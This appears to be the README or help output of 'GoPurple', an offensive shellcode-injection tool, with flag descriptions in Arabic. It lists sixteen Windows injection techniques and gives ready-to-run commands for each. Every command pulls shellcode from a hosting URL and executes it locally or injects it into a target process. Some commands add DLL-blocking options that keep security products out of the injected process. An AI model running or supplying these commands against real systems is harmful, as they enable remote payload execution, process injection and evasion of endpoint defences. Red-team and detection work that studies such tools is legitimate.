_____                              _
  / ____|                            | |
 | |  __  ___  _ __  _   _ _ __ _ __ | | ___
 | | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
 | |__| | (_) | |_) | |_| | |  | |_) | |  __/
  \_____|\___/| .__/ \__,_|_|  | .__/|_|\___|
              | |              | |
              |_|              |_|   by @s3cdev

 -a string
        وسائط سطر الأوامر للبرنامج
  -b string
        وضع حظر DLL (nonms/onlystore لـ QueueUserAPC)
  -p int
        معرف العملية لحقن شيل كود فيها
  -prog string
        البرنامج المراد الحقن فيه
  -t string
        تقنية حقن شيل كود للاستخدام:
         1: CreateFiber
         2: syscall
         3: CreateThreadNative
         4: CreateProcess
         5: EtwpCreateEtwThread
         6: CreateRemoteThread
         7: RtlCreateUserThread
         8: CreateThread
         9: CreateRemoteThreadNative
         10: CreateProcessWithPipe
         11: QueueUserAPC
         12: CreateThreadpoolWait
         13: BananaPhone
         14: EnumerateLoadedModules
         15: EnumChildWindows
         16: EnumPageFilesW
  -u string
        رابط الاستضافة لشيل الكود

1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)

2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)

3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)

4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)

5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)

6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)

7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)

8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)

9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)

10 - gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process)  (CreateProcessWithPipe)

11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore)  (QueueUserAPC)

nonms = فقط DLL الموقّعة من Microsoft يمكنها الربط مع العملية

onlystore = فقط عمليات تطبيق متجر Microsoft يمكنها الربط مع العملية

12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)

13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)

14-  gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)

15-  gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)

16-  gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)